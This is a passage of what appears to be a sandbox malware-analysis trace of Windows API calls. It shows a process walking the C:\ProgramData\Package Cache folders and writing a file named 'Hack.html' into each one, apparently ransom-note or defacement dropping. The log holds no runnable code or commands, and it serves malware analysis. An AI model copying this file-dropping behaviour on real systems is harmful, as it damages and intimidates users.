hTemplateFile=0x0) returned 0x174 [0071.601] GetFileType (hFile=0x174) returned 0x1 [0071.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.601] GetFileType (hFile=0x174) returned 0x1 [0071.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.602] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Hack.html" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.602] GetFileType (hFile=0x174) returned 0x1 [0071.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.602] GetFileType (hFile=0x174) returned 0x1 [0071.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.607] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.607] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.607] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.607] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.608] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.608] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.608] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.608] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.608] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Hack.html" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.611] GetFileType (hFile=0x174) returned 0x1 [0071.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.611] GetFileType (hFile=0x174) returned 0x1 [0071.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.612] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.612] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.612] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.613] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.613] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.613] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.614] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.614] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.614] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.614] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.614] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.614] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.615] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.616] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.618] GetFileType (hFile=0x174) returned 0x1 [0071.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.618] GetFileType (hFile=0x174) returned 0x1 [0071.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.619] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.619] GetFileType (hFile=0x174) returned 0x1 [0071.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.620] GetFileType (hFile=0x174) returned 0x1 [0071.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.621] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Hack.html" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.622] GetFileType (hFile=0x174) returned 0x1 [0071.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.622] GetFileType (hFile=0x174) returned 0x1 [0071.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.624] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.626] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.628] GetFileType (hFile=0x174) returned 0x1 [0071.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.628] GetFileType (hFile=0x174) returned 0x1 [0071.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.629] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.630] GetFileType (hFile=0x174) returned 0x1 [0071.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.630] GetFileType (hFile=0x174) returned 0x1 [0071.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.631] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Hack.html" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.632] GetFileType (hFile=0x174) returned 0x1 [0071.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.632] GetFileType (hFile=0x174) returned 0x1 [0071.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.636] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.637] GetFileType (hFile=0x174) returned 0x1 [0071.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.638] GetFileType (hFile=0x174) returned 0x1 [0071.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.639] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.639] GetFileType (hFile=0x174) returned 0x1 [0071.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.639] GetFileType (hFile=0x174) returned 0x1 [0071.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.640] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Hack.html" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.641] GetFileType (hFile=0x174) returned 0x1 [0071.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.641] GetFileType (hFile=0x174) returned 0x1 [0071.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.644] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.645] GetFileType (hFile=0x174) returned 0x1 [0071.646] GetFileType (hFile=0x174) returned 0x1 [0071.647] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.647] GetFileType (hFile=0x174) returned 0x1 [0071.647] GetFileType (hFile=0x174) returned 0x1 [0071.648] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\Hack.html" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.649] GetFileType (hFile=0x174) returned 0x1 [0071.649] GetFileType (hFile=0x174) returned 0x1 [0071.651] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.653] GetFileType (hFile=0x174) returned 0x1 [0071.653] GetFileType (hFile=0x174) returned 0x1 [0071.654] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.655] GetFileType (hFile=0x174) returned 0x1 [0071.655] GetFileType (hFile=0x174) returned 0x1 [0071.657] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Hack.html" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.657] GetFileType (hFile=0x174) returned 0x1 [0071.657] GetFileType (hFile=0x174) returned 0x1 [0071.664] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.666] GetFileType (hFile=0x174) returned 0x1 [0071.666] GetFileType (hFile=0x174) returned 0x1 [0071.667] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.668] GetFileType (hFile=0x174) returned 0x1 [0071.668] GetFileType (hFile=0x174) returned 0x1 [0071.669] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Hack.html" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.670] GetFileType (hFile=0x174) returned 0x1 [0071.670] GetFileType (hFile=0x174) returned 0x1 [0071.673] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.675] GetFileType (hFile=0x174) returned 0x1 [0071.675] GetFileType (hFile=0x174) returned 0x1 [0071.676] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.677] GetFileType (hFile=0x174) returned 0x1 [0071.677] GetFileType (hFile=0x174) returned 0x1 [0071.678] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Hack.html" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.679] GetFileType (hFile=0x174) returned 0x1 [0071.679] GetFileType (hFile=0x174) returned 0x1 [0071.681] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Hack.html" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.683] GetFileType (hFile=0x174) returned 0x1 [0071.683] GetFileType (hFile=0x174) returned 0x1 [0071.695] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.697] GetFileType (hFile=0x174) returned 0x1 [0071.697] GetFileType (hFile=0x174) returned 0x1 [0071.698] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.699] GetFileType (hFile=0x174) returned 0x1 [0071.699] GetFileType (hFile=0x174) returned 0x1 [0071.700] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Hack.html" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.701] GetFileType (hFile=0x174) returned 0x1 [0071.701] GetFileType (hFile=0x174) returned 0x1 [0071.704] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.706] GetFileType (hFile=0x174) returned 0x1 [0071.706] GetFileType (hFile=0x174) returned 0x1 [0071.707] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.707] GetFileType (hFile=0x174) returned 0x1 